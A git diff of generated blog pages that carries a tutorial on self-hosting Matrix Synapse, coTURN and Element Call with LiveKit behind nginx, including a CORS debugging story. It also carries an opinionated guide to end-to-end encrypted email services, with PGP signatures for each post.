    \ No newline at end of file diff --git a/public-clearnet/tags/element-call/index.xml b/public-clearnet/tags/element-call/index.xml new file mode 100644 index 0000000..f160c82 --- /dev/null +++ b/public-clearnet/tags/element-call/index.xml @@ -0,0 +1,351 @@ +Element-Call on AlipourIm journeyshttps://blog.alipour.eu/tags/element-call/Recent content in Element-Call on AlipourIm journeysHugo -- 0.146.0enTue, 26 Aug 2025 00:00:00 +0000Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way)https://blog.alipour.eu/posts/matrix_setup/Tue, 26 Aug 2025 00:00:00 +0000https://blog.alipour.eu/posts/matrix_setup/How I set up a Matrix homeserver (Synapse) with TURN and Element Call using LiveKit, plus the exact debugging steps that took it from &#39;waiting for media&#39; to solid calls. +

    TL;DR: The call kept saying “waiting for media” because the browser never opened a WebSocket to LiveKit. The root cause was duplicate Access-Control-Allow-Origin headers on /sfu/get (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP 101 in logs) solved it.

    +

    What I’m building

    +
      +
    • A Matrix homeserver (Synapse) at matrix.example.com (replace with your domain).
    • +
    • TURN/STUN (coTURN) for NAT traversal.
    • +
    • Element Call backed by LiveKit, fronted by rtc.example.com.
    • +
    • Nginx (host) as the single reverse proxy for everything.
    • +
    • Cloudflare DNS (with rtc.* set to DNS-only, no orange cloud).
    • +
    • UFW firewall opened for Matrix federation, TURN, and LiveKit media ports.
    • +
    +
    +

    I used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used host Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448.

    +
    +

    Prereqs

    +
      +
    • DNS A/AAAA: +
        +
      • matrix.example.com → your server (v4/v6)
      • +
      • rtc.example.com → your server (v4/v6)
      • +
      +
    • +
    • Certificates: +
        +
      • matrix.example.com and rtc.example.com via Let’s Encrypt on the host
      • +
      +
    • +
    • Cloudflare: DNS-only (grey cloud) for rtc.example.com so WebSockets & UDP work without interference.
    • +
    • UFW / firewall open: +
        +
      • 80/tcp, 443/tcp
      • +
      • 8448/tcp (Matrix federation)
      • +
      • 3478/tcp, 3478/udp and 5349/tcp (TURN/TLS)
      • +
      • LiveKit: 7881/tcp and 50100–50200/udp (or your chosen range)
      • +
      +
    • +
    • Docker + docker compose installed.
    • +
    +
    +

    Synapse + PostgreSQL

    +

    1) The PostgreSQL collation gotcha

    +

    Synapse prefers the database collation C. If your Postgres cluster was initialized with en_US.utf8, Synapse will error like:

    +
    Database has incorrect collation of 'en_US.utf8'. Should be 'C'
    +

    Two ways to resolve:

    +
      +
    • Preferred (clean): Re-initialize the Postgres cluster with C and UTF-8:
    • +
    +
    # docker-compose.yml (excerpt for Postgres)
    +services:
    +  db:
    +    image: postgres:16
    +    environment:
    +      POSTGRES_DB: synapse
    +      POSTGRES_USER: synapse
    +      POSTGRES_PASSWORD: <strong-password>
    +      POSTGRES_INITDB_ARGS: "--locale=C --encoding=UTF8 --lc-collate=C --lc-ctype=C"
    +    volumes:
    +      - ./pgdata:/var/lib/postgresql/data
    +
    +

    Requires wiping the volume and recreating the DB.

    +
      +
    • Pragmatic (works quickly): In Synapse’s DB config, set allow_unsafe_locale: true. This bypasses the check. It’s fine for hobby use; for production, prefer the clean C cluster.
    • +
    +

    2) Start Synapse and generate config

    +
    docker compose up -d db synapse
    +# Logs
    +docker compose logs --tail=200 synapse
    +

    Ensure Synapse prints your server_name and public base URL and stays up.

    +

    3) Create an admin user

    +
    # Exec into the running Synapse container:
    +docker compose exec synapse register_new_matrix_user \
    +  -c /data/homeserver.yaml -u <username> -p <password> \
    +  -a -k
    +
    +

    If you see “Unknown execution mode”, you probably ran the binary with the wrong entrypoint. Use docker compose exec synapse … against the running container.

    +
    +

    TURN (coTURN)

    +

    1) Avoid bad inline comments

    +

    If you see errors like:

    +
    ERROR: Unknown boolean value: # log to journald/syslog. You can use on/off, yes/no, 1/0, true/false.
    +

    …it means a # comment is on the same line as a boolean directive. Move comments to their own lines.

    +

    2) Minimal turnserver.conf

    +
    listening-port=3478
    +tls-listening-port=5349
    +fingerprint
    +use-auth-secret
    +static-auth-secret=<shared-secret>   # also set in Synapse
    +realm=example.com                    # used in creds generation
    +total-quota=0
    +bps-capacity=0
    +cli-password=<admin-pass>
    +no-cli
    +cert=/etc/letsencrypt/live/turn.example.com/fullchain.pem
    +pkey=/etc/letsencrypt/live/turn.example.com/privkey.pem
    +# If behind NAT:
    +# external-ip=<public-ip>/<internal-ip>
    +

    3) Wire TURN into Synapse

    +

    In homeserver.yaml:

    +
    turn_uris:
    +  - "turn:turn.example.com?transport=udp"
    +  - "turn:turn.example.com?transport=tcp"
    +  - "turns:turn.example.com:5349?transport=tcp"
    +turn_shared_secret: "<shared-secret>"
    +turn_user_lifetime: "1d"
    +

    Verify the homeserver issues TURN creds:

    +
    TOKEN='<your matrix access token>'
    +curl -s -H "Authorization: Bearer $TOKEN" \
    +  https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq
    +

    You should see uris, a time-limited username and password.

    +
    +

    Nginx (host) for Synapse and federation

    +

    Create /etc/nginx/conf.d/matrix.conf:

    +
    # Client traffic on 443
    +server {
    +  listen 443 ssl;  listen [::]:443 ssl;
    +  server_name matrix.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/matrix.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem;
    +
    +  # Proxy client & admin APIs to Synapse (container) on 8008
    +  location ~ ^(/_matrix|/_synapse/client) {
    +    proxy_pass http://127.0.0.1:8008;
    +    proxy_set_header X-Forwarded-For $remote_addr;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_set_header Host $host;
    +    client_max_body_size 50M;
    +  }
    +
    +  # Advertise homeserver base + RTC focus (MSC4143) via .well-known
    +  location = /.well-known/matrix/client {
    +    default_type application/json;
    +    add_header Access-Control-Allow-Origin "*" always;
    +    return 200 '{"m.homeserver":{"base_url":"https://matrix.example.com"},"org.matrix.msc4143.rtc_foci":[{"type":"livekit","livekit_service_url":"https://rtc.example.com"}]}';
    +  }
    +}
    +
    +# Federation on 8448
    +server {
    +  listen 8448 ssl http2;  listen [::]:8448 ssl http2;
    +  server_name matrix.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/matrix.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem;
    +
    +  location / {
    +    proxy_pass http://127.0.0.1:8008;
    +    proxy_set_header X-Forwarded-For $remote_addr;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_set_header Host $host;
    +    client_max_body_size 50M;
    +  }
    +}
    +

    Reload and sanity check:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +curl -s https://matrix.example.com/.well-known/matrix/client | jq
    +

    Also check Synapse supports RTC signaling (MSC4140) so clients actually use it:

    +
    curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"'
    +# expect: true
    +

    +

    Element Call + LiveKit

    +

    I’ll run LiveKit and the small JWT helper (Element’s elementcall_jwt) in Docker. LiveKit handles media; the JWT helper mints access tokens for WebSocket connects.

    +

    1) LiveKit config (/etc/livekit.yaml inside container)

    +
    port: 7880
    +bind_addresses: ["0.0.0.0"]
    +rtc:
    +  tcp_port: 7881
    +  port_range_start: 50100
    +  port_range_end: 50200
    +  use_external_ip: true
    +logging:
    +  level: info
    +turn:
    +  enabled: false
    +keys:
    +  lk_prod_1: "REPLACE_WITH_A_64_CHAR_RANDOM_SECRET___________________________________"
    +
    +

    Important: the secret must be >= 32 chars. The default devkey will trigger secret is too short warnings and won’t work with the JWT helper.

    +

    2) elementcall_jwt env

    +

    Run it with:

    +
      +
    • LIVEKIT_URL=wss://rtc.example.com (root WS URL, no /livekit/sfu path)
    • +
    • LIVEKIT_KEY=lk_prod_1
    • +
    • LIVEKIT_SECRET=<the long secret above>
    • +
    • LIVEKIT_JWT_PORT=8080 (internal HTTP port the proxy will hit)
    • +
    • Optionally: LIVEKIT_FULL_ACCESS_HOMESERVERS=* during setup
    • +
    +

    Check logs on start; it prints the LIVEKIT_URL it will advertise.

    +

    3) Nginx (host) for rtc.example.com

    +

    Create /etc/nginx/conf.d/rtc.conf:

    +
    server {
    +  listen 443 ssl;  listen [::]:443 ssl;
    +  server_name rtc.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/rtc.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/rtc.example.com/privkey.pem;
    +
    +  access_log /var/log/nginx/rtc.access.log combined;
    +
    +  # 3a) JWT endpoint with clean CORS (avoid duplicate ACAO)
    +  location = /sfu/get {
    +    proxy_hide_header Access-Control-Allow-Origin;
    +    add_header Access-Control-Allow-Origin $http_origin always;
    +    add_header Vary "Origin" always;
    +    add_header Access-Control-Allow-Methods "POST, OPTIONS" always;
    +    add_header Access-Control-Allow-Headers "Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization" always;
    +    if ($request_method = OPTIONS) { return 204; }
    +
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_pass http://127.0.0.1:8070/sfu/get;  # elementcall_jwt
    +  }
    +
    +  # 3b) LiveKit WS & HTTP (catch-all)
    +  location / {
    +    proxy_http_version 1.1;
    +    proxy_set_header Upgrade $http_upgrade;
    +    proxy_set_header Connection "upgrade";
    +    proxy_set_header Sec-WebSocket-Protocol $http_sec_websocket_protocol;  # "livekit"
    +    proxy_set_header Origin $http_origin;
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_buffering off;
    +    proxy_read_timeout 3600s;
    +    proxy_pass http://127.0.0.1:7880;         # livekit
    +  }
    +}
    +

    Reload and basic checks:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +# JWT preflight (should return a single ACAO header)
    +curl -si -X OPTIONS https://rtc.example.com/sfu/get \
    +  -H 'Origin: https://app.element.io' \
    +  -H 'Access-Control-Request-Method: POST' \
    +  -H 'Access-Control-Request-Headers: authorization, content-type' | sed -n '1,30p'
    +# Expected: one Access-Control-Allow-Origin and 200/204
    +
    +

    Why I did this: I initially had two Access-Control-Allow-Origin headers (one added by the upstream, one by Nginx). Browsers reject that with “Access-Control-Allow-Origin cannot contain more than one origin”, so the JWT response never reached the client. Fixing CORS fixed everything.

    +
    +

    The “waiting for media” debugging story (how I found it)

    +

    Symptom: Element Call created rooms, but calls stayed on “waiting for media.”

    +

    What worked:

    +
      +
    • elementcall_jwt could CreateRoom in LiveKit (seen in logs).
    • +
    • TURN creds endpoint returned time-limited credentials.
    • +
    +

    What didn’t appear:

    +
      +
    • No HTTP 101 lines in rtc.access.log → the browser never established a WebSocket to LiveKit.
    • +
    +

    Step 1: prove the WS vhost works (even without auth)

    +
    curl -v --http1.1 \
    +  -H 'Connection: Upgrade' -H 'Upgrade: websocket' \
    +  -H 'Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==' \
    +  -H 'Sec-WebSocket-Version: 13' \
    +  https://rtc.example.com/rtc -o /dev/null
    +

    Result: I got a 401 (expected), but importantly I saw a log line in rtc.access.log. So Nginx WS proxying was fine.

    +

    Step 2: check the browser console

    +

    The smoking gun in DevTools:

    +
    Access-Control-Allow-Origin cannot contain more than one origin.
    +Fetch API cannot load https://rtc.example.com/sfu/get due to access control checks.
    +

    The browser refused the JWT call due to duplicated ACAO headers, so no token → no WebSocket connect.

    +

    Fix: in Nginx I added:

    +
    proxy_hide_header Access-Control-Allow-Origin;
    +add_header Access-Control-Allow-Origin $http_origin always;
    +add_header Vary "Origin" always;
    +

    …and ensured no other add_header created duplicates. After that, /sfu/get succeeded and the WebSocket to wss://rtc.example.com immediately followed (I saw HTTP 101 in the logs).

    +

    Step 3: confirm LiveKit side

    +

    Once the WS was up, LiveKit logs showed participants joining (not just RoomService.CreateRoom), and calls were established.

    +
    +

    Useful verification commands

    +
    # Synapse features (expect MSC4140 true)
    +curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"'
    +
    +# Well-known with RTC focus
    +curl -s https://matrix.example.com/.well-known/matrix/client | jq
    +
    +# TURN creds (with your access token)
    +curl -s -H "Authorization: Bearer $TOKEN" \
    +  https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq
    +
    +# JWT health
    +curl -si -X POST https://rtc.example.com/sfu/get
    +
    +# LiveKit simple HTTP probe
    +curl -si https://rtc.example.com | head
    +
    +# Nginx logs (look for 101 Switching Protocols when a call starts)
    +sudo tail -f /var/log/nginx/rtc.access.log | grep ' 101 '
    +

    +

    Common pitfalls (I hit these so you don’t have to)

    +
      +
    • Host Nginx vs Docker Nginx: If you already run Nginx on the host, don’t also bind 80/443/8448 in a Docker Nginx — you’ll get bind() ... already in use and restart loops. Use host Nginx to reverse proxy to containers.
    • +
    • Nginx http2 directive: Old Nginx may not support the http2 directive on listen. Use listen 443 ssl; (and add http2 if your version supports it).
    • +
    • Certificate name mismatch: Make sure rtc.example.com’s vhost uses a certificate for that exact hostname (initially I had the matrix.* cert on rtc.* and curl complained).
    • +
    • Postgres collation: Either initialize the cluster with C or use allow_unsafe_locale: true in Synapse DB config to get running quickly.
    • +
    • CORS duplication on /sfu/get: Only ONE Access-Control-Allow-Origin header. If the upstream adds it too, use proxy_hide_header Access-Control-Allow-Origin; on the Nginx location.
    • +
    • Cloudflare: Use DNS-only for rtc.*. Proxies can interfere with WS and UDP paths.
    • +
    • Firewall: Open the LiveKit UDP range and TURN ports on both v4 and v6.
    • +
    +
    +

    Final checklist (print me)

    +
      +
    • https://matrix.example.com/.well-known/matrix/client returns both m.homeserver.base_url and org.matrix.msc4143.rtc_foci pointing to https://rtc.example.com.
    • +
    • /_matrix/client/versions shows "org.matrix.msc4140": true.
    • +
    • /sfu/get preflight returns one Access-Control-Allow-Origin and 200/204.
    • +
    • Starting a call creates HTTP 101 entries to wss://rtc.example.com in rtc.access.log.
    • +
    • LiveKit logs show participants joining (not just CreateRoom).
    • +
    • /voip/turnServer returns time-limited TURN credentials.
    • +
    • Cloudflare set to DNS-only for rtc.*. UFW allows 7881/tcp and your LiveKit UDP range.
    • +
    +
    +

    Credits & tooling

    +
      +
    • Matrix Synapse, coTURN, LiveKit, Element Call.
    • +
    • curl, jq, docker compose logs, Nginx access logs. These are your best friends.
    • +
    • The debugging breakthrough was catching CORS errors in the browser console and looking for HTTP 101 in Nginx logs.
    • +
    +

    Happy calling! 🎉

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuQACgkQtYgoUOBM
    +jSpglxAArFNgxheR8m2r6QvtoEuHJwI51WQteu+0un0FiIfHKtFPcXd2HiVqzODu
    +YZvIGCAecMURQMRvrgB8cO3ebY8Yi9EECnC1sHsluE05GOuro5Htja7TbsGxwTc3
    +PIe+zju7lIhTHonqLogUyyunhWxOfg1RCaSjp3n6k/r2iEamgKu6Cihrv54wstGa
    +SVJbwubie1D9TPcXU3ynC+ynNBcmVevFl7g/X7Ie8Pw0SP1dJF+we5iVqUrZgPO2
    +AudHlWRm13j7Xifv/JxqymkZV1XiShIY8Mb0Ju8m5+HjkoIaZDtSfFyt+AwPdHDQ
    +m3sMXA7yZUvy+pXtziwrOnHFAez22goAr9Ar9KcwGQgRvyxKuuKIuTq+yxtCuXBF
    +fPWo5pL0rMtIfwRyaiiX9bwV+WbBXNhghTPnaxuQ3CWkLdiwaycI7xPDAg8FzFAR
    +7yoN0vqhKSvZlAL1OQS+4yRcXnguq7UY9UF+drG0f0QpC3aht1QgrJ04gvDp2BOk
    +ymmlxCxUWQrFSqDThjv7WFCclamKTimCODKWvIG6sjQcJuLCg9CXRl+ZMvwobQqH
    +Tv8cm8PMimqJppUodB3Ig5zP3ZkVcK8uFm5XqoUnasqDVLLJaRcCu+Qt4h9gZ2w6
    +Q3Q6K/zPZcKEIrwJfczWotSgG0g8dnuMUUYALWTbRrGjN0mgCss=
    +=yHZZ
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/matrix_setup.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/matrix_setup.md.asc
    +gpg --verify matrix_setup.md.asc matrix_setup.md
    +  
    +
    + + +]]>
    \ No newline at end of file diff --git a/public-clearnet/tags/element-call/page/1/index.html b/public-clearnet/tags/element-call/page/1/index.html new file mode 100644 index 0000000..95e2b6e --- /dev/null +++ b/public-clearnet/tags/element-call/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/tags/element-call/ + \ No newline at end of file diff --git a/public-clearnet/tags/email/index.html b/public-clearnet/tags/email/index.html new file mode 100644 index 0000000..e9f0e8a --- /dev/null +++ b/public-clearnet/tags/email/index.html @@ -0,0 +1,11 @@ +Email | AlipourIm journeys +

    Sending End‑to‑End Encrypted Email (E2EE) without losing friends

    A practical, mildly opinionated guide to sending encrypted email that normal people can actually read.

    October 30, 2025 · 10 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/tags/email/index.xml b/public-clearnet/tags/email/index.xml new file mode 100644 index 0000000..03395da --- /dev/null +++ b/public-clearnet/tags/email/index.xml @@ -0,0 +1,158 @@ +Email on AlipourIm journeyshttps://blog.alipour.eu/tags/email/Recent content in Email on AlipourIm journeysHugo -- 0.146.0enThu, 30 Oct 2025 00:00:00 +0000Sending End‑to‑End Encrypted Email (E2EE) without losing friendshttps://blog.alipour.eu/posts/e2ee/Thu, 30 Oct 2025 00:00:00 +0000https://blog.alipour.eu/posts/e2ee/A practical, mildly opinionated guide to sending encrypted email that normal people can actually read.If you’ve ever thought “I should really send this securely” and then immediately remembered key servers, certificate stores, and that one time you bricked your GPG setup, this post is for you. Below is a usable path to end‑to‑end encrypted email, roughly how each option works, and when to use which—sprinkled with a little fun so your eyes don’t glaze over.

    +
    +

    Honestly, I don’t know why one would settle down for a paid option, but if you want to, then be my guest.

    +

    Why people don’t use E2EE email (and why you still should)

    +

    Email wasn’t designed for secrecy. It leaks metadata (who emailed whom and when), search and spam engines expect to read your messages, and traditional E2EE requires exchanging and trusting keys or certificates—things most people never think about. That creates friction, breaks “just works” expectations, and makes onboarding your accountant, landlord, and cousin Maddie… exciting.

    +

    But the upsides are huge: true confidentiality of message content and attachments, stronger authenticity (signatures!), compliance wins for sensitive data, and fewer “oops, wrong inbox” disasters haunting you forever. In short: if it matters enough to hesitate before sending, it probably matters enough to encrypt.

    +

    I mean, generally speaking one can use e2ee for anything, and not just email, but doesn’t it feel cool if you sign your mail with your key, and if the receiver also has pgp keys, to send e2ee mail? No one knows what the two of you talk about, well unless there is a back door in your machine, buuuuuuuut assuming not, you’re good to go!

    +

    The contenders (and how they feel to use)

    +

    Proton Mail (consumer‑friendly, great cross‑provider story)

    +

    Proton gives you automatic E2EE between Proton users. When you email someone on Gmail or Outlook, you can send a password‑protected message that opens in a secure web page; you share the password out‑of‑band (SMS, Signal, etc.). If your recipient already uses PGP, Proton can speak that too. Day‑to‑day, it’s just email—with an extra “lock” option when you need it.

    +

    Prices (personal): Free tier exists; paid tiers like Mail Plus and Proton Unlimited add storage, custom domains, and Proton Bridge for desktop clients. Expect single‑digit € per month for personal use; business plans are per‑user.
    +How to use: Sign up → compose → choose password‑protected email for non‑Proton recipients or send normally to Proton addresses. Recipients can reply securely in the web portal—even without an account.
    +Ups: Lowest friction to message non‑tech people; slick apps; plays well with PGP if you’re a power user.
    +Downs: Metadata like recipients stays visible across the wider email network; full power (Bridge, larger storage) lives behind paid tiers.

    +

    Honestly though, although I love proton and want to work for them, idk why you would want to pay for such services. If you use their other options, like custom mail domains, etc., then be my guest, otherwise just use Thunderbird! It’s easy to use, and fun to show off.

    +

    Tuta (formerly Tutanota) (privacy maximalist, subject‑line encryption)

    +

    Tuta offers automatic E2EE between Tuta users and password‑protected emails to anyone else. Its special sauce: it encrypts more by default in its ecosystem—including subject lines—and the whole suite is open‑source and auditable.

    +

    Prices (personal & business): Free plan plus personal tiers (e.g., Revolutionary, Legend) and business tiers (Essential/Advanced/Unlimited). Personal is typically low single‑digit €/month; business is per‑user, per‑month.
    +How to use: Create an account → compose → set a password for non‑Tuta recipients; they read and reply in a secure web page.
    +Ups: Max privacy posture; encrypted subjects between Tuta users; clean apps.
    +Downs: Some advanced mail protocols/features are intentionally limited; cross‑ecosystem mail still exposes standard email metadata.

    +

    I was introduced to this one literally for writing this post, I had no idea it existed before.

    +

    Gmail with Client‑Side Encryption (CSE) (for organizations on Google Workspace)

    +

    If you live in Google Workspace, CSE brings real end‑to‑end encryption to Gmail—keys stay with your organization. After admins set it up, users toggle encryption right in the compose window. It’s the least disruptive path for big teams that already run on Gmail.

    +

    Prices: CSE is available on certain Workspace editions (e.g., Enterprise Plus, Education Standard/Plus, Frontline Plus). No extra per‑message fee, but you’ll need a compliant key service and the right subscription tier.
    +How to use: Ask IT to enable CSE and your key service → compose in Gmail → turn on encryption for messages that need it.
    +Ups: Seamless for employees; centralized key control; good audit/compliance story.
    +Downs: Only for supported Workspace tiers; external recipients may need compatible tooling or a secure portal experience; not for personal @gmail.com accounts.

    +

    I mean… how much can you trust google and their non-open source client? I know some of my collegues here do use it, I won’t. Not with the emails that matter to me.

    +

    Outlook / Apple Mail with S/MIME (classic enterprise path)

    +

    S/MIME uses X.509 certificates instead of PGP keys and is deeply integrated into Outlook and Apple Mail. Inside one company (or between partners who exchange certs), it’s smooth sailing. Your IT can deploy certificates automatically so users never touch crypto knobs.

    +

    Prices: The tech is built in; costs come from certificates. Orgs often issue them internally; public CA prices vary.
    +How to use: Install/auto‑deploy your certificate → recipients share theirs → click encrypt/sign in Outlook or Mail.
    +Ups: Great inside enterprises; MDM‑friendly; widely supported.
    +Downs: Exchanging certs across companies is clunky; personal certs can be confusing; mixed ecosystems require coordination.

    +

    Ok. Is there that big of a difference between these and Gmail? Idk. I ain’t trusting non of it. But maybe the apple client I do partially trust. They seem to care about user privacy, or maybe they have brain washed me to believe so.

    +

    Thunderbird + OpenPGP (free, powerful, nerd‑approved—now usable)

    +

    Thunderbird bakes in OpenPGP and S/MIME. You generate or import a key once, and Thunderbird remembers which contacts can be encrypted. It even supports protected headers/subject encryption so the visible subject can be replaced with a stub while the real subject lives inside the encrypted part. For many privacy‑minded folks, this is the sweet spot of control and usability.

    +

    Prices: Free.
    +How to use: Install Thunderbird → create/import a PGP key → hit the little lock when writing to someone whose key you have. Done.
    +Ups: Full control, open source, works with any provider via IMAP/SMTP; subject protection available.
    +Downs: Initial key exchange still scares people; you may need to hand‑hold contacts through setup the first time.

    +

    This is just the best. You can also have your calendars at one place. Also your contacts and everything else. They don’t have iOS app which sucks, idk about Android.

    +

    Browser add‑ons: Mailvelope & FlowCrypt (bring E2EE to webmail)

    +

    If you’re welded to webmail, add‑ons can meet you where you live. Mailvelope brings OpenPGP to Gmail/Outlook/Yahoo and more, right in the browser. FlowCrypt focuses on a polished PGP experience for Gmail and Google Workspace, with business features and key management options.

    +

    Prices: Mailvelope is free/open‑source. FlowCrypt has a generous free tier with paid enterprise features for teams.
    +How to use: Install the extension → create/import keys → compose in a secure editor injected into your webmail.
    +Ups: Zero provider switch; good for gradually introducing encryption to a contact list that lives in Gmail.
    +Downs: Browser crypto UX still has edges; enterprise key policy needs the paid tiers; fewer bells & whistles than a full desktop client.

    +

    Just no. Don’t trust add-ons. Please.

    +

    So… which should you use?

    +

    If you need to send a one‑off encrypted message to a non‑technical person, Proton or Tuta’s password‑protected email is the friendliest: they click a link, enter the password you shared elsewhere, and can reply securely even without an account. For a company already on Google Workspace, turn on Gmail CSE so people don’t juggle keys. If you’re a power user or want provider‑agnostic control, go with Thunderbird OpenPGP—it’s free, modern, and interoperable. And if you won’t leave the web, try Mailvelope or FlowCrypt to bolt E2EE onto the inbox you already use.

    +

    Honestly though, I would suggest thunderbird all day everyday, twice on Sunday. But that is just my view. If you fancy something else, well go ahead.

    +

    A note on what E2EE hides (and what it doesn’t)

    +

    End‑to‑end encryption protects the body and attachments. Across the wider email network, metadata like From/To and delivery timestamps remain visible by design. Subjects may also be visible unless your tools use protected headers (Thunderbird can; Tuta encrypts subjects inside its ecosystem). If you truly need to hide everything, email might not be the right tool—reach for Signal or Matrix instead.

    +

    Quick price & fit-at-a-glance

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    OptionBest fitPersonal price vibeNotes
    Proton MailEveryday private email + easy messages to anyoneFree; personal paid tiers in single‑digit €/mo; business per‑userPassword‑protected emails to non‑Proton; PGP support
    TutaPrivacy‑max email; encrypted subjects in‑ecosystemFree; personal low €/mo; business per‑userPassword‑protected emails to non‑Tuta; open source
    Gmail CSEOrgs on Google WorkspaceIncluded with Enterprise Plus/Education/Frontline editionsAdmin setup + external‑recipient flow
    S/MIME (Outlook/Apple Mail)Enterprises with IT/MDMSoftware built‑in; cert costs varySmooth inside one org; cert exchange needed across orgs
    Thunderbird OpenPGPProvider‑agnostic power usersFreeCan encrypt subjects via protected headers
    Mailvelope / FlowCryptMust stay on webmailFree / paid enterprise optionsPGP in the browser; good stepping stone
    +

    The 60‑second starter packs

    +

    Proton/Tuta for one‑offs: create an account, write your message, set a password, send; share the password over Signal or SMS. Recipient opens the secure link and can reply—no account needed.

    +

    Thunderbird for everything else: install, make a key, send your first signed message; when your contact replies with their key, hit the lock and enjoy encrypted bliss.

    +
    +

    Shower thoughts

    +

    So, why did I mention any of this? +Aside from the fact that I do believe e2ee email should become defacto, and I don’t know why it isn’t already, I do think we are not taking any steps toward protecting ourselves, and rely on third parties to do so for us.

    +

    A while ago when the 12 day war happened in Iran, they eventually allowed domestic platforms to be used by Iranians living abroad to talk to their loved ones back home. +The thing is, people might not use them because they don’t trust them.

    +

    The question I had was different. +Assuming that the service is reliable, why can’t we use it and protect ourselves while doing so?

    +

    In hindsight this seems stupid. +But listen to me. +If you have a wrapper that uses your gpg key to encrypt your messages, then you send them via those seemingly “untrusted” medium, why wouldn’t you be able to use it? +The only, and oh well, biggest problem is key exchange. +Now to be honest, there exist key repositories that one can use, but also you can publish your public key over github, or any open verifiable medium. It is not foolproof, but it’s a way. +And as long as there is a minimum reliable channel between the two parties, they can verify the authenticity of the key. +Like via a quick short call. +They can also be faked, but let’s not go that extreme. +Also if many do it, it’s hard to screw over all of them, maybe a subset with spending much resources, but no way you can screw everyone.

    +

    Idk how stupid the thing I’m suggesting is, but I wonder if it can be done or not. I don’t know if I’m willing to spend my free time on it or not, but I though I should share the idea to at least know if it’s stupid and wrong or not.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuoACgkQtYgoUOBM
    +jSoPBBAAlYPOVuLE4EKBrV/xOlyslxRhMoJbXxdp4HGPlrBBmsbsko9V7nMvSkXN
    +z+xZGP+orZYA3hUJtJFwKY3f6Lc+H0+rmPq/qwhdlyooASpap3G9n6Lh09vrimSl
    +teMPcOiYIeFEN2NeewReyp+0kGTuS6Z0IOZZ4yIi5wG3Ect7VtesTUrLuvdsuUZ2
    +nh+i/2N/8HPKb3HnkZUcWJL3oSjQ8aULH4mn4gtHUEvJZO+hH2G87yPvf0B6cM6w
    +qIEc9ScuBzyX6wo2Cu0V22LFJLEoD1rLsluzsE54iv/ZD6YxFbIwOi1KMX0mBOGo
    +S93kkSYz5LRrR/f7xtTGpfeZXnYB4YIij/9MBQBoM55oHcjTdpOV5Pe00MCF1kXJ
    +bfSn+ylCvyPoVUbFlKTiBFdHHiV29/ILUbMekJ4kRmBazNqu4Q486CLKqCn2yguA
    +mLN7Fslis+dsOnm9G/aR5MadIMgXwU8hwVM9DKDoxia4UALOSnHA2eAnJQeEYXDa
    +BF9sq2b6gVE6OJC2eeF0pt3AY5HL4Pe3HowrGeLt8a8QsRHy5TnTE1cdF7A+A4J6
    +iX2qbkUJY1eFbG/kTdFEAH/pcSp4oEyK51/E1ADsjGIG/lu5glDJdIvfw/i6xgzR
    +ic2kF0bGJCaI/0Sen+lvC1dkn9/wxmjRYHHF7pXH0ZxKDUe6i/Y=
    +=R0VX
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/e2ee.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/e2ee.md.asc
    +gpg --verify e2ee.md.asc e2ee.md
    +  
    +
    + + +]]>
    \ No newline at end of file diff --git a/public-clearnet/tags/email/page/1/index.html b/public-clearnet/tags/email/page/1/index.html new file mode 100644 index 0000000..613c314 --- /dev/null +++ b/public-clearnet/tags/email/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/tags/email/ + \ No newline at end of file diff --git a/public-clearnet/tags/fabrication/index.html b/public-clearnet/tags/fabrication/index.html new file mode 100644 index 0000000..476c67b --- /dev/null +++ b/public-clearnet/tags/fabrication/index.html @@ -0,0 +1,13 @@ +Fabrication | AlipourIm journeys +
    Six looks of the INET LED logo

    INET Logo That Breathes — From CAD to LEDs to a Calm Little Server

    I didn’t add a warning sign to the room. I taught the logo to breathe. ;-D +The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it’s not good at is ventilating itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices! +...

    October 17, 2025 · 17 min · Iman Alipour +
    +
